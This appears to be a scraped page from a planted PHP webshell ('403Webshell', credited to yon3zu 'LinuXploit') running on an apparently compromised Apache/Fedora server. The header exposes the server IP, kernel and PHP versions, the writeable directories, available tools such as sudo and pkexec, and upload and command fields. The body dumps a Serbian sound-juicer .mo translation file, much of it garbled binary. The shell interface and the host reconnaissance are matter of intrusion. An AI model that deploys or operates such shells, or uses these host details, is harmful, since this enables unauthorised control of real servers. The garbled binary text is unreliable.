403Webshell
Server IP : 134.236.29.77  /  Your IP : 216.73.217.92
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/locale/sr/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /usr/share/locale/sr/LC_MESSAGES/sound-juicer.mo
T
m	/9
Wer

S Hio|%$* KSip
"
	*4!Mo$*&*1'J$rL
&W&~#)HerzJ"%EayqFC-
+-"Y|P07;DT`dk'r	

4)N'x6.9 1@ r \!L"X"u""/"-""# *#!K#Km#
#%#.#6$P$k$~$0$2$.$ *%fK%!%%%%%%$&4&O&i&x&&&&
&&
&&&&1'>E'G'>'(
(((	(	)
)) )0)6)U)^)d) p)
)
)
))))))**+Z.Io.....%/-/L/d/v///CY0
00/0K0W31*1*11h1^2"w22"2262!393B33V30343"3&4:45K4H4=4G5QP5X5I5*E6=p6L6.6.*7"Y76|77777A[88s<
<
<<<=<F=IZ=1===I=G>D>L(?Ou?=?.@2@#P@t@}@@:@@A_cB:BBC(C$;C4`CCBC?C0DNDgD{D
EE@E\EcEtEEEEEPEFF1FJFeF)F-FFFSFJKGWG^GRMH_HSITIJL8L LMWMOpMM*M'N+,NuXNNCNAOWaO+O2O2PQKPZPFP)?QiQ4RKRXReRVuRUR5"S4XSSSSS7S	T!%TGT9eT
T*TJTt UU`$V3VWWWW
X"X@XIX`X8tXXXXRX9YKYjYYY3Y(YZ9Z=XW'xl0g8f5+mJUvw[RG&}HK#sN{9Q.)<1DiT?BcP~O
,dAk_b4p(t -/7\*	:|aLn`r6
ShqVF!2>]zZ%Y3e;oMj"E$uIC^@y%at -- album title %aT -- album title (lowercase) %aa -- album artist %aA -- album artist (lowercase) %as -- album artist (sortable) %aS -- album artist (sortable lowercase) %ay -- album year %tt -- track title %tT -- track title (lowercase) %ta -- track artist %tA -- track artist (lowercase) %ts -- track artist (sortable) %tS -- track artist (sortable lowercase)(unknown)- Extract music from your CDs<b>Device</b><b>Disc:</b><b>Duration:</b><b>Format</b><b>Music Folder</b><b>Track Names</b><b>_Artist:</b><b>_Genre:</b><b>_Title:</b><b>_Year:</b>A file called '%s' exists, size %s.
Do you want to skip this track or overwrite it?A file with the same name existsAlbumAlbum ArtistAlbum Artist (sortable)Album Artist (sortable) - Album TitleAlbum Artist (sortable), Album TitleAlbum Artist - Album TitleAlbum Artist, Album TitleAlbum TitleAll further errors shown only on terminal.AmbientAn Audio CD ExtractorArtistAudio CD ExtractorAudio ProfileAudio Profile with which to encodeAudio volumeBluesCD _drive:CD rip completeCannot access CDCannot access CD: %sCannot read CDCannot read CD: %sClassicalCopy music from your CDsCould not create CD lookup threadCould not create GConf client.
Could not create GStreamer CD readerCould not create GStreamer encoders for %sCould not create GStreamer file outputCould not display help for Sound Juicer
%sCould not duplicate discCould not find %s by %s on MusicBrainz.Could not get current track positionCould not link pipelineCould not open URLCould not read the CDCould not start Sound JuicerCountryDEVICEDanceDevice '%s' could not be opened. Check the access permissions on the device.Device '%s' does not contain any mediaDo not specify an extension. %at -- album title %aT -- album title (lowercase) %aa -- album artist %aA -- album artist (lowercase) %as -- album artist (sortable) %aS -- album artist (sortable lowercase) %tn -- track number (i.e 8) %tN -- track number, zero padded (i.e 08) %tt -- track title %tT -- track title (lowercase) %ta -- track artist %tA -- track artist (lowercase) %ts -- track artist (sortable) %tS -- track artist (sortable lowercase) %dn -- disc and track number (i.e Disk 2 - 6, or 6) %dN -- disc number, zero padded (i.e d02t06, or 06)DurationE_jectE_xtractEdit _Profiles...ElectronicaError playing CD.

Reason: %sError while saving custom genre: %sEstimated time left: %d:%02d (at %0.1f×)Estimated time left: unknownExample PathExtractExtracting audio from CDExtractor object is not valid. This is bad, check your console for errors.Failed to create CD source elementFailed to create audio outputFailed to create output directory: %sFailed to get output formatFailed to link pipelineFile _name:Folder hie_rarchy:FolkFunkGConf error: %sHAL daemon may not be running.If enabled, special characters such as space, wildcards and backslashes will be removed from the output filename.If specified, this value will override the default MusicBrainz server.If to strip special characters from filenamesIncomplete metadata for this CDJazzLatinMultiple Albums FoundName too longNo CD-ROM drives foundNumber - TitleNumber-Track Artist-Track Title (lowercase)Number. Track Artist - Track TitleO_utput Format:Overwrite _AllParanoia LevelParanoia mode: 0) disable 2) fragment 4) overlap 8) scratch 16) repair 255) fullPausePlayPlease consult the documentation for assistance.PopPositionPre_vious TrackPreferencesRapReasonReggaeRetrieving track listing...please wait.RockS_kip AllS_ubmit AlbumSeeking to %sSelect A FolderSkip to the next trackSkip to the previous trackSoulSound JuicerSound Juicer could not access the CD-ROM device '%s'Sound Juicer could not duplicate the discSound Juicer could not extract this CD.Sound Juicer could not find any CD-ROM drives to read.Sound Juicer could not open the submission URLSound Juicer could not read the track listing on this CD.Sound Juicer could not use the CD-ROM device '%s'Sound Juicer is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more details.Sound Juicer is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.Spoken WordStart extracting immediatelyStart playing immediatelyStopThe GNOME Audio Profile used for encoding audioThe GNOME Audio Profile with which to encode.The MusicBrainz server to useThe URI of the audio fileThe album of the current stream.The artist of the current stream.The currently selected audio profile is not available on your installation.The deviceThe directory structure for the filesThe duration of the current stream in seconds.The interface file for Sound Juicer could not be read.The name pattern for filesThe paranoia levelThe paranoia mode to useThe plugin necessary for CD access was not foundThe plugin necessary for file access was not foundThe position in the current stream in seconds.The title of the current stream.This CD could be more than one album. Please select which album it is below and press <i>Continue</i>.This CD could not be queried: %s
TitleTrackTrack %dTrack Artist (sortable) - Track TitleTrack Artist (sortable), Album TitleTrack Artist - Track TitleTrack Artist, Album TitleTrack ProgressTrack TitleTracksURIURI to the CD device to readUnknown AlbumUnknown ArtistUnknown TitleUnknown column %d was editedVariousWhat CD device to readWhether to eject the CD when finished extracting.Whether to open the target directory when finished extracting.You are currently extracting a CD. Do you want to quit now or continue?You can improve the MusicBrainz database by adding this album.You should have received a copy of the GNU General Public License along with Sound Juicer; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA[Untitled][none]_Change Profile_Contents_Continue_Deselect All_Disc_Duplicate Disc_Edit_Eject after extracting tracks_Folder:_Help_Next Track_Open music folder when finished_Overwrite_Play / Pause_Re-read Disc_Select All_Skip_Strip special characters_Submit Track Names...devicetranslator-creditsProject-Id-Version: sound-juicer
Report-Msgid-Bugs-To: http://bugzilla.gnome.org/enter_bug.cgi?product=sound-juicer&component=general
POT-Creation-Date: 2009-08-04 19:30+0000
PO-Revision-Date: 2007-09-06 23:07+0100
Last-Translator: Милош Поповић <gpopac@gmail.com>
Language-Team: Serbian (sr) <gnom@prevod.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
%at — наслов албума %aT — наслов албума (малим словима) %aa — извођач албума %aA — извођач албума (малим словима) %as — извођач албума (за ређање) %aS — извођач албума (малим словима, за ређање) %ay — година %tt — наслов песме %tT — наслов песме (малим словима) %ta — извођач песме %tA — извођач песме (малим словима) %ts — извођач песме (за ређање) %tS — извођач песме (малим словима, за ређање)(непознато)— извуците музику са ваших носача звука<b>Уређај</b><b>Диск:</b><b>Трајање:</b><b>Запис</b><b>Место са музиком</b><b>Имена песама</b><b>Изв_ођач:</b><b>Жан_р:</b><b>_Наслов:</b><b>_Година:</b>Датотека имена „%s“ постоји, величине %s kB.
Да ли желите да пропустите ову песму или да је преснимите?Већ постоји датотека са овим називомАлбумИзвођачИзвођач (може се поређати)Извођач (може се поређати) - Наслов албумаИзвођач албума (може се поређати), Наслов албумаИзвођач - Наслов албумаИзвођач albuma, Наслов albumaНаслов albumaСве даљне грешке се преусмеравају искључиво на терминал.АмбијенталнаИзвлачење ЦД звукаИзвођачИзвлачење ЦД звукаЗвучна поставкаЗвучни профил којим да кодираЈачина звукаБлузЦД _уређај:Завршено је извлачење звукаНе могу да приступим дискуНе могу да приступим диску: %sНе могу да читам ЦДНе могу да читам ЦД: %sКласичнаУмножите музику са ваших ЦД-аНе могу да направим нит за претрагу ЦД-аНе може да направи ГКонф клијент.
Не може да створи ГСтримеров читач ЦД-аНе може да направи ГСтримерове енкодере за %sНе може да направи ГСтримерову излазну датотекуНе може да прикаже помоћ за Звуковника
%sНе могу да умножим дискНе могу да нађем %s од %s на MusicBrainz-у.Не може да добије тренутну позицију песмеНе могу да увежем цевоводНе могу да отворим адресуНе могу да читам ЦДНе могу да покренем ЗвуковникКантриУРЕЂАЈДенсНе могу да отворим уређај „%s“. Проверите приступна овлашћења за уређај.Уређај „%s“ не садржи ниједан медијНе наводите екстензију. %at — наслов албума %aT — наслов албума (малим словима) %aa — извођач албума %aA — извођач албума (малим словима) %as — извођач албума (за ређање) %aS — извођач албума (малим словима, за ређање) %tn — број песме (нпр. 8) %tN — број песме, попуњен нулама (нпр. 08) %tt — наслов песме %tT — наслов песме (малим словима) %ta — извођач песме %tA — извођач песме (малим словима) %ts — извођач албума (за ређање) %tS — извођач албума (малим словима, за ређање) %dn — број диска у нумере (нпр. Диск 2 - 6, или 6) %dN — број диска, попуњен нулама (нпр. д02т06, или 06)ТрајањеИз_бациИз_вуциУреди постав_ке...ЕлектронскаГрешка при пуштању ЦД-а.

Разлог: %sГрешка при чувању произвољног жанра: %sПреостало процењено време: %d:%02d (при %0.1fx)Преостало време: непознатоПример путањеИзвуциУзимање музике са носача звука је у токуОбјекат за извлачење није одговарајућ. То је лоше, проверите своју конзолу за грешке.Не може да направи изворни ЦД елементНе може да направи ГСтримеров аудио излазНе могу да направим излазни директоријум: %sНе могу да добавим излазни форматНе могу да увежем цевовод_Назив датотеке:_Хијерархија места:ФолкФанкГКонф грешка: %sHAL услуга можада није покренута.Ако је укључено, специјални карактери као што су размак, џокер знаци и обрнуте косе црте биће уклоњени из излазног имена датотеке.Уколико је наведена, ова вредност се користи уместо подразумеваног MusicBrainz сервера.Избацивање специјалних карактера из имена датотекеНепотпуни метаподаци за овај ЦДЏезЛатиноВише албума пронађеноНазив је предугачакНиједан ЦД уређај није нађенБрој - НасловБрој — извођач песме — наслов песмеБрој. Извођач песме — Наслов песмеИ_злазни формат:Пр_есними свеParanoia режимParanoia режим: 0) искључен 2) делови 4) прескакање 8) изгребано 16) поправи 255) пуниПаузаПоустиПогледајте документацију за помоћ.ПопПозицијаПретходна песмаПоставкеРепРазлогРегеПреузимам списак песама... Молим причекајте.РокП_ропусти свеПо_шаљи албумПремотава на %sИзаберите местоПређи на следећу песмуПређи на претходну песмуСоулЗвуковникЗвуковник не може да приступи ЦД уређају „%s“Звуковник не може да умножи тражени дискЗвуковник не може да извуче песме са овог диска.Звуковник не може да нађе ниједан ЦД уређај да чита.Звуковник не може да отвори приложену адресуЗвуковник не може да чита списак песама са овог ЦД-а.Звуковник не може да употреби ЦД уређају „%s“Звуковник се расподељује у нади да ће бити од користи, али БЕЗ ИКАКВИХ ГАРАНЦИЈА; чак и без подразумеване гаранције КОРИСНОСТИ или ПРИЛАГОЂЕНОСТИ ОДРЕЂЕНОЈ НАМЕНИ.  Видите ГНУ Општу Јавну Лиценцу за више детаља.Звуковник је слободан софтвер; можете га расподељивати и/или га мењати под условима ГНУ Опште Јавне Лиценце (GNU GPL) како је објављује Задужбина за Слободни Софтвер (FSF); било верзије 2 те Лиценце, било (по вашем нахођењу) било које новије верзије.Изговорена речОдмах почни са преносом песамаОдмах пусти песмуЗауставиЗвучни профил Гнома коришћен за кодирање звука.Звучни профил Гнома помоћу којег да кодира.MusicBrainz серверАдреса звучне датотекеАлбум тренутног тока.Извођач тренутног тока.Тренутно изабрани звучни профил није доступан на вашем систему.УређајСтруктура директоријума за датотекеТрајање тренутног тока у секундама.Датотека сучеља за Звуковник не може да се чита.Облик имена за датотекеКоји paranoia режим да користимКоји paranoia режим да користимДодатак неопходан за приступ ЦД-у није нађенДодатак неопходан за приступ датотеци није нађенПозиција у тренутном току у секундама.Наслов тренутног тока.Овај ЦД може бити један од више албума. Испод изаберите који је албум и притисните <i>Настави</i>.Упит за овај ЦД није успео: %s
НасловНумераНумера %dИзвођач песме (може се поређати) — Наслов песмеИзвођач песме (може се поређати), Наслов албумаИзвођач песме — Наслов песмеИзвођач песме, Наслов албумаТок песмеНаслов песмеНумереАдресаАдреса до ЦД уређаја за читањеНепознат албумНепознати извођачНепознат насловНепознатa колона %d је промењенаРазниКоји ЦД уређај да читамДа ли да избаци ЦД када заврши извлачење?Да ли да отворим директоријум са музиком након њеног извлачења.Ви тренутно извлачите са ЦД-a.  Да ли сада хоћете да прекинете или да наставите?Можете унапредити MusicBrainz базу додавањем овог албума.Требало је да примите примерак ГНУ Опште Јавне Лиценце уз Звуковник; ако нисте, пишите Задужбини за Слободни Софтвер (Free Software Foundation, Inc.), 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA[Nеименовано][ништа]_Измени поставку_Садржај_Настави_Укини избор за свеДиск_Умножи диск_Уређивање_Избаци након извлачења нумера_Фасцикла:_ПомоћСледећа песма_Отвори директоријум са музиком по завршеткуПре_снимиП_усти / Паузирај_Поново прочитај_Изабери све_ПропустиОстави само слова и б_ројевеПре_дај имена песама...уређајДејан Матијевић <dejan@ns.sympatico.ca>
Данило Шеган <danilo@prevod.org>
Андрија Зарић <andrija@gmail.com>
Слободан Д, Средојевић <slobo@akrep.be>
Милош Поповић <gpopac@gmail.com>

http://prevod.org — превод на српски језик.

Youez - 2016 - github.com/yon3zu
LinuXploit